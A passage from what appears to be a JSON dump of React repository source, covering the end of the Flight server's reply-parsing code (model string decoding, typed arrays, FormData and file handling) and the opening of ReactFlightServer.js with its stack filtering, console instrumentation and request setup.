closed = true;\n      if (nextWriteIndex === buffer.length) {\n        buffer[nextWriteIndex] =\n          createPendingChunk<IteratorResult<T, T>>(response);\n      }\n      while (nextWriteIndex < buffer.length) {\n        triggerErrorOnChunk(response, buffer[nextWriteIndex++], error);\n      }\n    },\n  };\n  const iterable: $AsyncIterable<T, T, void> = {\n    [ASYNC_ITERATOR](): $AsyncIterator<T, T, void> {\n      let nextReadIndex = 0;\n      // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n      return new FlightIterator((arg: void) => {\n        if (arg !== undefined) {\n          throw new Error(\n            'Values cannot be passed to next() of AsyncIterables passed to Client Components.',\n          );\n        }\n        if (nextReadIndex === buffer.length) {\n          if (closed) {\n            // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n            return new ReactPromise(\n              INITIALIZED,\n              {done: true, value: undefined},\n              null,\n            );\n          }\n          buffer[nextReadIndex] =\n            createPendingChunk<IteratorResult<T, T>>(response);\n        }\n        return buffer[nextReadIndex++];\n      });\n    },\n  };\n  // TODO: If it's a single shot iterator we can optimize memory by cleaning up the buffer after\n  // reading through the end, but currently we favor code size over this optimization.\n  const stream = iterator ? iterable[ASYNC_ITERATOR]() : iterable;\n  resolveStream(response, id, stream, flightController);\n  return stream;\n}\n\nfunction parseModelString(\n  response: Response,\n  obj: Object,\n  key: string,\n  value: string,\n  reference: void | string,\n  arrayRoot: null | NestedArrayContext,\n): any {\n  if (value[0] === '$') {\n    switch (value[1]) {\n      case '$': {\n        // This was an escaped string value.\n        if (arrayRoot !== null) {\n          bumpArrayCount(arrayRoot, value.length - 1, response);\n        }\n        return value.slice(1);\n      }\n      case '@': {\n        // Promise\n        const id = parseInt(value.slice(2), 16);\n        const chunk = getChunk(response, id);\n        return chunk;\n      }\n      case 'h': {\n        // Server Reference\n        const ref = value.slice(2);\n        return getOutlinedModel(\n          response,\n          ref,\n          obj,\n          key,\n          null,\n          loadServerReference,\n        );\n      }\n      case 'T': {\n        // Temporary Reference\n        if (\n          reference === undefined ||\n          response._temporaryReferences === undefined\n        ) {\n          throw new Error(\n            'Could not reference an opaque temporary reference. ' +\n              'This is likely due to misconfiguring the temporaryReferences options ' +\n              'on the server.',\n          );\n        }\n        return createTemporaryReference(\n          response._temporaryReferences,\n          reference,\n        );\n      }\n      case 'Q': {\n        // Map\n        const ref = value.slice(2);\n        return getOutlinedModel(response, ref, obj, key, null, createMap);\n      }\n      case 'W': {\n        // Set\n        const ref = value.slice(2);\n        return getOutlinedModel(response, ref, obj, key, null, createSet);\n      }\n      case 'K': {\n        // FormData\n        const stringId = value.slice(2);\n        const formPrefix = response._prefix + stringId + '_';\n        const data = new FormData();\n        const backingFormData = response._formData;\n        // We assume that the reference to FormData always comes after each\n        // entry that it references so we can assume they all exist in the\n        // backing store already.\n        // Clone the keys to workaround bugs in the delete-while-iterating\n        // algorithm of FormData.\n        const keys = Array.from(backingFormData.keys());\n        for (let i = 0; i < keys.length; i++) {\n          const entryKey = keys[i];\n          if (entryKey.startsWith(formPrefix)) {\n            const entries = backingFormData.getAll(entryKey);\n            const newKey = entryKey.slice(formPrefix.length);\n            for (let j = 0; j < entries.length; j++) {\n              // $FlowFixMe[incompatible-call]\n              data.append(newKey, entries[j]);\n            }\n            // These entries have now all been consumed. Let's free it.\n            // This also ensures that we don't have any entries left if we\n            // see the same key twice.\n            backingFormData.delete(entryKey);\n          }\n        }\n        return data;\n      }\n      case 'i': {\n        // Iterator\n        const ref = value.slice(2);\n        return getOutlinedModel(response, ref, obj, key, null, extractIterator);\n      }\n      case 'I': {\n        // $Infinity\n        return Infinity;\n      }\n      case '-': {\n        // $-0 or $-Infinity\n        if (value === '$-0') {\n          return -0;\n        } else {\n          return -Infinity;\n        }\n      }\n      case 'N': {\n        // $NaN\n        return NaN;\n      }\n      case 'u': {\n        // matches \"$undefined\"\n        // Special encoding for `undefined` which can't be serialized as JSON otherwise.\n        return undefined;\n      }\n      case 'D': {\n        // Date\n        return new Date(Date.parse(value.slice(2)));\n      }\n      case 'n': {\n        // BigInt\n        const bigIntStr = value.slice(2);\n        if (bigIntStr.length > MAX_BIGINT_DIGITS) {\n          throw new Error(\n            'BigInt is too large. Received ' +\n              bigIntStr.length +\n              ' digits but the limit is ' +\n              MAX_BIGINT_DIGITS +\n              '.',\n          );\n        }\n        if (arrayRoot !== null) {\n          bumpArrayCount(arrayRoot, bigIntStr.length, response);\n        }\n        return BigInt(bigIntStr);\n      }\n      case 'A':\n        return parseTypedArray(\n          response,\n          value,\n          ArrayBuffer,\n          1,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'O':\n        return parseTypedArray(\n          response,\n          value,\n          Int8Array,\n          1,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'o':\n        return parseTypedArray(\n          response,\n          value,\n          Uint8Array,\n          1,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'U':\n        return parseTypedArray(\n          response,\n          value,\n          Uint8ClampedArray,\n          1,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'S':\n        return parseTypedArray(\n          response,\n          value,\n          Int16Array,\n          2,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 's':\n        return parseTypedArray(\n          response,\n          value,\n          Uint16Array,\n          2,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'L':\n        return parseTypedArray(\n          response,\n          value,\n          Int32Array,\n          4,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'l':\n        return parseTypedArray(\n          response,\n          value,\n          Uint32Array,\n          4,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'G':\n        return parseTypedArray(\n          response,\n          value,\n          Float32Array,\n          4,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'g':\n        return parseTypedArray(\n          response,\n          value,\n          Float64Array,\n          8,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'M':\n        return parseTypedArray(\n          response,\n          value,\n          BigInt64Array,\n          8,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'm':\n        return parseTypedArray(\n          response,\n          value,\n          BigUint64Array,\n          8,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'V':\n        return parseTypedArray(\n          response,\n          value,\n          DataView,\n          1,\n          obj,\n          key,\n          arrayRoot,\n        );\n      case 'B': {\n        // Blob\n        const id = parseInt(value.slice(2), 16);\n        const prefix = response._prefix;\n        const blobKey = prefix + id;\n        // We should have this backingEntry in the store already because we emitted\n        // it before referencing it. It should be a Blob.\n        const backingEntry = response._formData.get(blobKey);\n        if (!(backingEntry instanceof Blob)) {\n          throw new Error('Referenced Blob is not a Blob.');\n        }\n        return backingEntry;\n      }\n      case 'R': {\n        return parseReadableStream(response, value, undefined, obj, key);\n      }\n      case 'r': {\n        return parseReadableStream(response, value, 'bytes', obj, key);\n      }\n      case 'X': {\n        return parseAsyncIterable(response, value, false, obj, key);\n      }\n      case 'x': {\n        return parseAsyncIterable(response, value, true, obj, key);\n      }\n    }\n    // We assume that anything else is a reference ID.\n    const ref = value.slice(1);\n    return getOutlinedModel(response, ref, obj, key, arrayRoot, createModel);\n  }\n  if (arrayRoot !== null) {\n    bumpArrayCount(arrayRoot, value.length, response);\n  }\n  return value;\n}\n\nconst DEFAULT_MAX_ARRAY_NESTING = 1000000;\n\n// Limit BigInt size to prevent CPU exhaustion from parsing very large values.\n// 300 digits covers most practical use cases (even 512-bit integers need only\n// ~154 digits) and aligns with the implicit limit from the Number approximation\n// checks in fulfillReference and getOutlinedModel.\nconst MAX_BIGINT_DIGITS = 300;\n\nexport const MAX_BOUND_ARGS = 1000;\n\nexport function createResponse(\n  bundlerConfig: ServerManifest,\n  formFieldPrefix: string,\n  temporaryReferences: void | TemporaryReferenceSet,\n  backingFormData?: FormData = new FormData(),\n  arraySizeLimit?: number = DEFAULT_MAX_ARRAY_NESTING,\n): Response {\n  const chunks: Map<number, SomeChunk<any>> = new Map();\n  const response: Response = {\n    _bundlerConfig: bundlerConfig,\n    _prefix: formFieldPrefix,\n    _formData: backingFormData,\n    _chunks: chunks,\n    _closed: false,\n    _closedReason: null,\n    _temporaryReferences: temporaryReferences,\n    _rootArrayContexts: new WeakMap(),\n    _arraySizeLimit: arraySizeLimit,\n  };\n  return response;\n}\n\nexport function resolveField(\n  response: Response,\n  key: string,\n  value: string,\n): void {\n  // Add this field to the backing store.\n  response._formData.append(key, value);\n  const prefix = response._prefix;\n  if (key.startsWith(prefix)) {\n    const chunks = response._chunks;\n    const id = +key.slice(prefix.length);\n    const chunk = chunks.get(id);\n    if (chunk) {\n      // We were waiting on this key so now we can resolve it.\n      resolveModelChunk(response, chunk, value, id);\n    }\n  }\n}\n\nexport function resolveFile(response: Response, key: string, file: File): void {\n  // Add this field to the backing store.\n  response._formData.append(key, file);\n}\n\nexport opaque type FileHandle = {\n  chunks: Array<Uint8Array>,\n  filename: string,\n  mime: string,\n};\n\nexport function resolveFileInfo(\n  response: Response,\n  key: string,\n  filename: string,\n  mime: string,\n): FileHandle {\n  return {\n    chunks: [],\n    filename,\n    mime,\n  };\n}\n\nexport function resolveFileChunk(\n  response: Response,\n  handle: FileHandle,\n  chunk: Uint8Array,\n): void {\n  handle.chunks.push(chunk);\n}\n\nexport function resolveFileComplete(\n  response: Response,\n  key: string,\n  handle: FileHandle,\n): void {\n  // Add this file to the backing store.\n  // Node.js doesn't expose a global File constructor so we need to use\n  // the append() form that takes the file name as the third argument,\n  // to create a File object.\n  const blob = new Blob(handle.chunks, {type: handle.mime});\n  response._formData.append(key, blob, handle.filename);\n}\n\nexport function close(response: Response): void {\n  // In case there are any remaining unresolved chunks, they won't\n  // be resolved now. So we need to issue an error to those.\n  // Ideally we should be able to early bail out if we kept a\n  // ref count of pending chunks.\n  reportGlobalError(response, new Error('Connection closed.'));\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Chunk, BinaryChunk, Destination} from './ReactServerStreamConfig';\n\nimport type {TemporaryReferenceSet} from './ReactFlightServerTemporaryReferences';\n\nimport {\n  enableTaint,\n  enableProfilerTimer,\n  enableComponentPerformanceTrack,\n  enableAsyncDebugInfo,\n} from 'shared/ReactFeatureFlags';\n\nimport {\n  scheduleWork,\n  scheduleMicrotask,\n  flushBuffered,\n  beginWriting,\n  writeChunkAndReturn,\n  stringToChunk,\n  typedArrayToBinaryChunk,\n  byteLengthOfChunk,\n  byteLengthOfBinaryChunk,\n  completeWriting,\n  close,\n  closeWithError,\n} from './ReactServerStreamConfig';\n\nexport type {Destination, Chunk} from './ReactServerStreamConfig';\n\nimport type {\n  ClientManifest,\n  ClientReferenceMetadata,\n  ClientReference,\n  ClientReferenceKey,\n  ServerReference,\n  ServerReferenceId,\n  Hints,\n  HintCode,\n  HintModel,\n  FormatContext,\n} from './ReactFlightServerConfig';\nimport type {ThenableState} from './ReactFlightThenable';\nimport type {\n  Wakeable,\n  Thenable,\n  PendingThenable,\n  FulfilledThenable,\n  RejectedThenable,\n  ReactDebugInfo,\n  ReactDebugInfoEntry,\n  ReactComponentInfo,\n  ReactIOInfo,\n  ReactAsyncInfo,\n  ReactStackTrace,\n  ReactCallSite,\n  ReactFunctionLocation,\n  ReactErrorInfo,\n  ReactErrorInfoDev,\n  ReactKey,\n} from 'shared/ReactTypes';\nimport type {ReactElement} from 'shared/ReactElementType';\nimport type {LazyComponent} from 'react/src/ReactLazy';\nimport type {\n  AsyncSequence,\n  IONode,\n  PromiseNode,\n  UnresolvedPromiseNode,\n} from './ReactFlightAsyncSequence';\n\nimport {\n  resolveClientReferenceMetadata,\n  getServerReferenceId,\n  getServerReferenceBoundArguments,\n  getServerReferenceLocation,\n  getClientReferenceKey,\n  isClientReference,\n  isServerReference,\n  supportsRequestStorage,\n  requestStorage,\n  createHints,\n  createRootFormatContext,\n  getChildFormatContext,\n  initAsyncDebugInfo,\n  markAsyncSequenceRootTask,\n  getCurrentAsyncSequence,\n  getAsyncSequenceFromPromise,\n  parseStackTrace,\n  parseStackTracePrivate,\n  supportsComponentStorage,\n  componentStorage,\n  unbadgeConsole,\n} from './ReactFlightServerConfig';\n\nimport {\n  resolveTemporaryReference,\n  isOpaqueTemporaryReference,\n} from './ReactFlightServerTemporaryReferences';\n\nimport {\n  HooksDispatcher,\n  prepareToUseHooksForRequest,\n  prepareToUseHooksForComponent,\n  getThenableStateAfterSuspending,\n  getTrackedThenablesAfterRendering,\n  resetHooksForRequest,\n} from './ReactFlightHooks';\nimport {DefaultAsyncDispatcher} from './flight/ReactFlightAsyncDispatcher';\n\nimport {resolveOwner, setCurrentOwner} from './flight/ReactFlightCurrentOwner';\n\nimport {getOwnerStackByComponentInfoInDev} from 'shared/ReactComponentInfoStack';\nimport {resetOwnerStackLimit} from 'shared/ReactOwnerStackReset';\n\nimport noop from 'shared/noop';\n\nimport {\n  callComponentInDEV,\n  callLazyInitInDEV,\n  callIteratorInDEV,\n} from './ReactFlightCallUserSpace';\n\nimport {\n  getIteratorFn,\n  REACT_ELEMENT_TYPE,\n  REACT_LEGACY_ELEMENT_TYPE,\n  REACT_FORWARD_REF_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_MEMO_TYPE,\n  ASYNC_ITERATOR,\n  REACT_OPTIMISTIC_KEY,\n} from 'shared/ReactSymbols';\n\nimport {\n  describeObjectForErrorMessage,\n  isGetter,\n  isSimpleObject,\n  jsxPropsParents,\n  jsxChildrenParents,\n  objectName,\n} from 'shared/ReactSerializationErrors';\n\nimport ReactSharedInternals from './ReactSharedInternalsServer';\nimport isArray from 'shared/isArray';\nimport getPrototypeOf from 'shared/getPrototypeOf';\nimport hasOwnProperty from 'shared/hasOwnProperty';\nimport binaryToComparableString from 'shared/binaryToComparableString';\n\nimport {SuspenseException, getSuspendedThenable} from './ReactFlightThenable';\n\nimport {\n  IO_NODE,\n  PROMISE_NODE,\n  AWAIT_NODE,\n  UNRESOLVED_AWAIT_NODE,\n  UNRESOLVED_PROMISE_NODE,\n} from './ReactFlightAsyncSequence';\n\n// DEV-only set containing internal objects that should not be limited and turned into getters.\nconst doNotLimit: WeakSet<Reference> = __DEV__ ? new WeakSet() : (null: any);\n\nfunction defaultFilterStackFrame(\n  filename: string,\n  functionName: string,\n): boolean {\n  return (\n    filename !== '' &&\n    !filename.startsWith('node:') &&\n    !filename.includes('node_modules')\n  );\n}\n\nfunction devirtualizeURL(url: string): string {\n  if (url.startsWith('about://React/')) {\n    // This callsite is a virtual fake callsite that came from another Flight client.\n    // We need to reverse it back into the original location by stripping its prefix\n    // and suffix. We don't need the environment name because it's available on the\n    // parent object that will contain the stack.\n    const envIdx = url.indexOf('/', 'about://React/'.length);\n    const suffixIdx = url.lastIndexOf('?');\n    if (envIdx > -1 && suffixIdx > -1) {\n      return decodeURI(url.slice(envIdx + 1, suffixIdx));\n    }\n  }\n  return url;\n}\n\nfunction isPromiseCreationInternal(url: string, functionName: string): boolean {\n  // Various internals of the JS VM can create Promises but the call frame of the\n  // internals are not very interesting for our purposes so we need to skip those.\n  if (url === 'node:internal/async_hooks') {\n    // Ignore the stack frames from the async hooks themselves.\n    return true;\n  }\n  if (url !== '') {\n    return false;\n  }\n  switch (functionName) {\n    case 'new Promise':\n    case 'Function.withResolvers':\n    case 'Function.reject':\n    case 'Function.resolve':\n    case 'Function.all':\n    case 'Function.allSettled':\n    case 'Function.race':\n    case 'Function.try':\n      return true;\n    default:\n      return false;\n  }\n}\n\nfunction stripLeadingPromiseCreationFrames(\n  stack: ReactStackTrace,\n): ReactStackTrace {\n  for (let i = 0; i < stack.length; i++) {\n    const callsite = stack[i];\n    const functionName = callsite[0];\n    const url = callsite[1];\n    if (!isPromiseCreationInternal(url, functionName)) {\n      if (i > 0) {\n        return stack.slice(i);\n      } else {\n        return stack;\n      }\n    }\n  }\n  return [];\n}\n\nfunction findCalledFunctionNameFromStackTrace(\n  request: Request,\n  stack: ReactStackTrace,\n): string {\n  // Gets the name of the first function called from first party code.\n  let bestMatch = '';\n  const filterStackFrame = request.filterStackFrame;\n  for (let i = 0; i < stack.length; i++) {\n    const callsite = stack[i];\n    const functionName = callsite[0];\n    const url = devirtualizeURL(callsite[1]);\n    const lineNumber = callsite[2];\n    const columnNumber = callsite[3];\n    if (\n      filterStackFrame(url, functionName, lineNumber, columnNumber) &&\n      // Don't consider anonymous code first party even if the filter wants to include them in the stack.\n      url !== ''\n    ) {\n      if (bestMatch === '') {\n        // If we had no good stack frames for internal calls, just use the last\n        // first party function name.\n        return functionName;\n      }\n      return bestMatch;\n    } else {\n      bestMatch = functionName;\n    }\n  }\n  return '';\n}\n\nfunction filterStackTrace(\n  request: Request,\n  stack: ReactStackTrace,\n): ReactStackTrace {\n  // Since stacks can be quite large and we pass a lot of them, we filter them out eagerly\n  // to save bandwidth even in DEV. We'll also replay these stacks on the client so by\n  // stripping them early we avoid that overhead. Otherwise we'd normally just rely on\n  // the DevTools or framework's ignore lists to filter them out.\n  const filterStackFrame = request.filterStackFrame;\n  const filteredStack: ReactStackTrace = [];\n  for (let i = 0; i < stack.length; i++) {\n    const callsite = stack[i];\n    const functionName = callsite[0];\n    const url = devirtualizeURL(callsite[1]);\n    const lineNumber = callsite[2];\n    const columnNumber = callsite[3];\n    if (filterStackFrame(url, functionName, lineNumber, columnNumber)) {\n      // Use a clone because the Flight protocol isn't yet resilient to deduping\n      // objects in the debug info. TODO: Support deduping stacks.\n      const clone: ReactCallSite = (callsite.slice(0): any);\n      clone[1] = url;\n      filteredStack.push(clone);\n    }\n  }\n  return filteredStack;\n}\n\nfunction hasUnfilteredFrame(request: Request, stack: ReactStackTrace): boolean {\n  const filterStackFrame = request.filterStackFrame;\n  for (let i = 0; i < stack.length; i++) {\n    const callsite = stack[i];\n    const functionName = callsite[0];\n    const url = devirtualizeURL(callsite[1]);\n    const lineNumber = callsite[2];\n    const columnNumber = callsite[3];\n    // Ignore async stack frames because they're not \"real\". We'd expect to have at least\n    // one non-async frame if we're actually executing inside a first party function.\n    // Otherwise we might just be in the resume of a third party function that resumed\n    // inside a first party stack.\n    const isAsync = callsite[6];\n    if (\n      !isAsync &&\n      filterStackFrame(url, functionName, lineNumber, columnNumber) &&\n      // Ignore anonymous stack frames like internals. They are also not in first party\n      // code even though it might be useful to include them in the final stack.\n      url !== ''\n    ) {\n      return true;\n    }\n  }\n  return false;\n}\n\nfunction isPromiseAwaitInternal(url: string, functionName: string): boolean {\n  // Various internals of the JS VM can await internally on a Promise. If those are at\n  // the top of the stack then we don't want to consider them as internal frames. The\n  // true \"await\" conceptually is the thing that called the helper.\n  // Ideally we'd also include common third party helpers for this.\n  if (url === 'node:internal/async_hooks') {\n    // Ignore the stack frames from the async hooks themselves.\n    return true;\n  }\n  if (url !== '') {\n    return false;\n  }\n  switch (functionName) {\n    case 'Promise.then':\n    case 'Promise.catch':\n    case 'Promise.finally':\n    case 'Function.reject':\n    case 'Function.resolve':\n    case 'Function.all':\n    case 'Function.allSettled':\n    case 'Function.any':\n    case 'Function.race':\n    case 'Function.try':\n    case 'Function.withResolvers':\n      return true;\n    default:\n      return false;\n  }\n}\n\nexport function isAwaitInUserspace(\n  request: Request,\n  stack: ReactStackTrace,\n): boolean {\n  let firstFrame = 0;\n  while (\n    stack.length > firstFrame &&\n    isPromiseAwaitInternal(stack[firstFrame][1], stack[firstFrame][0])\n  ) {\n    // Skip the internal frame that awaits itself.\n    firstFrame++;\n  }\n  if (stack.length > firstFrame) {\n    // Check if the very first stack frame that awaited this Promise was in user space.\n    // TODO: This doesn't take into account wrapper functions such as our fake .then()\n    // in FlightClient which will always be considered third party awaits if you call\n    // .then directly.\n    const filterStackFrame = request.filterStackFrame;\n    const callsite = stack[firstFrame];\n    const functionName = callsite[0];\n    const url = devirtualizeURL(callsite[1]);\n    const lineNumber = callsite[2];\n    const columnNumber = callsite[3];\n    return (\n      filterStackFrame(url, functionName, lineNumber, columnNumber) &&\n      url !== ''\n    );\n  }\n  return false;\n}\n\ninitAsyncDebugInfo();\n\nfunction patchConsole(consoleInst: typeof console, methodName: string) {\n  const descriptor = Object.getOwnPropertyDescriptor(consoleInst, methodName);\n  if (\n    descriptor &&\n    (descriptor.configurable || descriptor.writable) &&\n    typeof descriptor.value === 'function'\n  ) {\n    const originalMethod = descriptor.value;\n    const originalName = Object.getOwnPropertyDescriptor(\n      // $FlowFixMe[incompatible-call]: We should be able to get descriptors from any function.\n      originalMethod,\n      'name',\n    );\n    const wrapperMethod = function (this: typeof console) {\n      const request = resolveRequest();\n      if (methodName === 'assert' && arguments[0]) {\n        // assert doesn't emit anything unless first argument is falsy so we can skip it.\n      } else if (request !== null) {\n        // Extract the stack. Not all console logs print the full stack but they have at\n        // least the line it was called from. We could optimize transfer by keeping just\n        // one stack frame but keeping it simple for now and include all frames.\n        const stack = filterStackTrace(\n          request,\n          parseStackTracePrivate(new Error('react-stack-top-frame'), 1) || [],\n        );\n        request.pendingDebugChunks++;\n        const owner: null | ReactComponentInfo = resolveOwner();\n        const args = Array.from(arguments);\n        // Extract the env if this is a console log that was replayed from another env.\n        let env = unbadgeConsole(methodName, args);\n        if (env === null) {\n          // Otherwise add the current environment.\n          env = (0, request.environmentName)();\n        }\n\n        emitConsoleChunk(request, methodName, owner, env, stack, args);\n      }\n      // $FlowFixMe[incompatible-call]\n      return originalMethod.apply(this, arguments);\n    };\n    if (originalName) {\n      Object.defineProperty(\n        wrapperMethod,\n        // $FlowFixMe[cannot-write] yes it is\n        'name',\n        originalName,\n      );\n    }\n    Object.defineProperty(consoleInst, methodName, {\n      value: wrapperMethod,\n    });\n  }\n}\n\nif (__DEV__ && typeof console === 'object' && console !== null) {\n  // Instrument console to capture logs for replaying on the client.\n  patchConsole(console, 'assert');\n  patchConsole(console, 'debug');\n  patchConsole(console, 'dir');\n  patchConsole(console, 'dirxml');\n  patchConsole(console, 'error');\n  patchConsole(console, 'group');\n  patchConsole(console, 'groupCollapsed');\n  patchConsole(console, 'groupEnd');\n  patchConsole(console, 'info');\n  patchConsole(console, 'log');\n  patchConsole(console, 'table');\n  patchConsole(console, 'trace');\n  patchConsole(console, 'warn');\n}\n\nfunction getCurrentStackInDEV(): string {\n  if (__DEV__) {\n    const owner: null | ReactComponentInfo = resolveOwner();\n    if (owner === null) {\n      return '';\n    }\n    return getOwnerStackByComponentInfoInDev(owner);\n  }\n  return '';\n}\n\nconst ObjectPrototype = Object.prototype;\n\nconst stringify = JSON.stringify;\n\ntype ReactJSONValue =\n  | string\n  | boolean\n  | number\n  | null\n  | $ReadOnlyArray<ReactClientValue>\n  | ReactClientObject;\n\n// Serializable values\nexport type ReactClientValue =\n  // Server Elements and Lazy Components are unwrapped on the Server\n  | React$Element<component(...props: any)>\n  | LazyComponent<ReactClientValue, any>\n  // References are passed by their value\n  | ClientReference<any>\n  | ServerReference<any>\n  // The rest are passed as is. Sub-types can be passed in but lose their\n  // subtype, so the receiver can only accept once of these.\n  | React$Element<string>\n  | React$Element<ClientReference<any> & any>\n  | ReactComponentInfo\n  | ReactErrorInfo\n  | string\n  | boolean\n  | number\n  | symbol\n  | null\n  | void\n  | bigint\n  | ReadableStream\n  | $AsyncIterable<ReactClientValue, ReactClientValue, void>\n  | $AsyncIterator<ReactClientValue, ReactClientValue, void>\n  | Iterable<ReactClientValue>\n  | Iterator<ReactClientValue>\n  | Array<ReactClientValue>\n  | Map<ReactClientValue, ReactClientValue>\n  | Set<ReactClientValue>\n  | FormData\n  | $ArrayBufferView\n  | ArrayBuffer\n  | Date\n  | ReactClientObject\n  | Promise<ReactClientValue>; // Thenable<ReactClientValue>\n\ntype ReactClientObject = {+[key: string]: ReactClientValue};\n\n// task status\nconst PENDING = 0;\nconst COMPLETED = 1;\nconst ABORTED = 3;\nconst ERRORED = 4;\nconst RENDERING = 5;\n\ntype Task = {\n  id: number,\n  status: 0 | 1 | 3 | 4 | 5,\n  model: ReactClientValue,\n  ping: () => void,\n  toJSON: (key: string, value: ReactClientValue) => ReactJSONValue,\n  keyPath: ReactKey, // parent server component keys\n  implicitSlot: boolean, // true if the root server component of this sequence had a null key\n  formatContext: FormatContext, // an approximate parent context from host components\n  thenableState: ThenableState | null,\n  timed: boolean, // Profiling-only. Whether we need to track the completion time of this task.\n  time: number, // Profiling-only. The last time stamp emitted for this task.\n  environmentName: string, // DEV-only. Used to track if the environment for this task changed.\n  debugOwner: null | ReactComponentInfo, // DEV-only\n  debugStack: null | Error, // DEV-only\n  debugTask: null | ConsoleTask, // DEV-only\n};\n\ninterface Reference {}\n\ntype ReactClientReference = Reference & ReactClientValue;\n\ntype DeferredDebugStore = {\n  retained: Map<number, ReactClientReference | string>,\n  existing: Map<ReactClientReference | string, number>,\n};\n\nconst __PROTO__ = '__proto__';\n\nconst OPENING = 10;\nconst OPEN = 11;\nconst ABORTING = 12;\nconst CLOSING = 13;\nconst CLOSED = 14;\n\nconst RENDER = 20;\nconst PRERENDER = 21;\n\nexport type Request = {\n  status: 10 | 11 | 12 | 13 | 14,\n  type: 20 | 21,\n  flushScheduled: boolean,\n  fatalError: mixed,\n  destination: null | Destination,\n  bundlerConfig: ClientManifest,\n  cache: Map<Function, mixed>,\n  cacheController: AbortController,\n  nextChunkId: number,\n  pendingChunks: number,\n  hints: Hints,\n  abortableTasks: Set<Task>,\n  pingedTasks: Array<Task>,\n  completedImportChunks: Array<Chunk>,\n  completedHintChunks: Array<Chunk>,\n  completedRegularChunks: Array<Chunk | BinaryChunk>,\n  completedErrorChunks: Array<Chunk>,\n  writtenSymbols: Map<symbol, number>,\n  writtenClientReferences: Map<ClientReferenceKey, number>,\n  writtenServerReferences: Map<ServerReference<any>, number>,\n  writtenObjects: WeakMap<Reference, string>,\n  temporaryReferences: void | TemporaryReferenceSet,\n  identifierPrefix: string,\n  identifierCount: number,\n  taintCleanupQueue: Array<string | bigint>,\n  onError: (error: mixed) => ?string,\n  onAllReady: () => void,\n  onFatalError: mixed => void,\n  // Profiling-only\n  timeOrigin: number,\n  abortTime: number,\n  // DEV-only\n  pendingDebugChunks: number,\n  completedDebugChunks: Array<Chunk | BinaryChunk>,\n  debugDestination: null | Destination,\n  environmentName: () => string,\n  filterStackFrame: (\n    url: string,\n    functionName: string,\n    lineNumber: number,\n    columnNumber: number,\n  ) => boolean,\n  didWarnForKey: null | WeakSet<ReactComponentInfo>,\n  writtenDebugObjects: WeakMap<Reference, string>,\n  deferredDebugObjects: null | DeferredDebugStore,\n};\n\nconst {\n  TaintRegistryObjects,\n  TaintRegistryValues,\n  TaintRegistryByteLengths,\n  TaintRegistryPendingRequests,\n} = ReactSharedInternals;\n\nfunction throwTaintViolation(message: string) {\n  // eslint-disable-next-line react-internal/prod-error-codes\n  throw new Error(message);\n}\n\nfunction cleanupTaintQueue(request: Request): void {\n  const cleanupQueue = request.taintCleanupQueue;\n  TaintRegistryPendingRequests.delete(cleanupQueue);\n  for (let i = 0; i < cleanupQueue.length; i++) {\n    const entryValue = cleanupQueue[i];\n    const entry = TaintRegistryValues.get(entryValue);\n    if (entry !== undefined) {\n      if (entry.count === 1) {\n        TaintRegistryValues.delete(entryValue);\n      } else {\n        entry.count--;\n      }\n    }\n  }\n  cleanupQueue.length = 0;\n}\n\nfunction defaultErrorHandler(error: mixed) {\n  console['error'](error);\n  // Don't transform to our wrapper\n}\n\nfunction RequestInstance(\n  this: $FlowFixMe,\n  type: 20 | 21,\n  model: ReactClientValue,\n  bundlerConfig: ClientManifest,\n  onError: void | ((error: mixed) => ?string),\n  onAllReady: () => void,\n  onFatalError: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences: void | TemporaryReferenceSet,\n  debugStartTime: void | number, // Profiling-only\n  environmentName: void | string | (() => string), // DEV-only\n  filterStackFrame: void | ((url: string, functionName: string) => boolean), // DEV-only\n  keepDebugAlive: boolean, // DEV-only\n) {\n  if (\n    ReactSharedInternals.A !== null &&\n    ReactSharedInternals.A !== DefaultAsyncDispatcher\n  ) {\n    throw new Error(\n      'Currently React only supports one RSC renderer at a time.',\n    );\n  }\n  ReactSharedInternals.A = DefaultAsyncDispatcher;\n  if (__DEV__) {\n    // Unlike Fizz or Fiber, we don't reset this and just keep it on permanently.\n    // This lets it act more like the AsyncDispatcher so that we can get the\n    // stack asynchronously too.\n    ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;\n  }\n\n  const abortSet: Set<Task> = new Set();\n  const pingedTasks: Array<Task> = [];\n  const cleanupQueue: Array<string | bigint> = [];\n  if (enableTaint) {\n    TaintRegistryPendingRequests.add(cleanupQueue);\n  }\n  const hints = createHints();\n  this.type = type;\n  this.status = OPENING;\n  this.flushScheduled = false;\n  this.fatalError = null;\n  this.destination = null;\n  this.bundlerConfig = bundlerConfig;\n  this.cache = new Map();\n  this.cacheController = new AbortController();\n  this.nextChunkId = 0;\n  this.pendingChunks = 0;\n  this.hints = hints;\n  this.abortableTasks = abortSet;\n  this.pingedTasks = pingedTasks;\n  this.completedImportChunks = ([]: Array<Chunk>);\n  this.completedHintChunks = ([]: Array<Chunk>);\n  this.completedRegularChunks = ([]: Array<Chunk | BinaryChunk>);\n  this.completedErrorChunks = ([]: Array<Chunk>);\n  this.writtenSymbols = new Map();\n  this.writtenClientReferences = new Map();\n  this.writtenServerReferences = new Map();\n  this.writtenObjects = new WeakMap();\n  this.temporaryReferences = temporaryReferences;\n  this.identifierPrefix = identifierPrefix || '';\n  this.identifierCount = 1;\n  this.taintCleanupQueue = cleanupQueue;\n  this.onError = onError === undefined ? defaultErrorHandler : onError;\n  this.onAllReady = 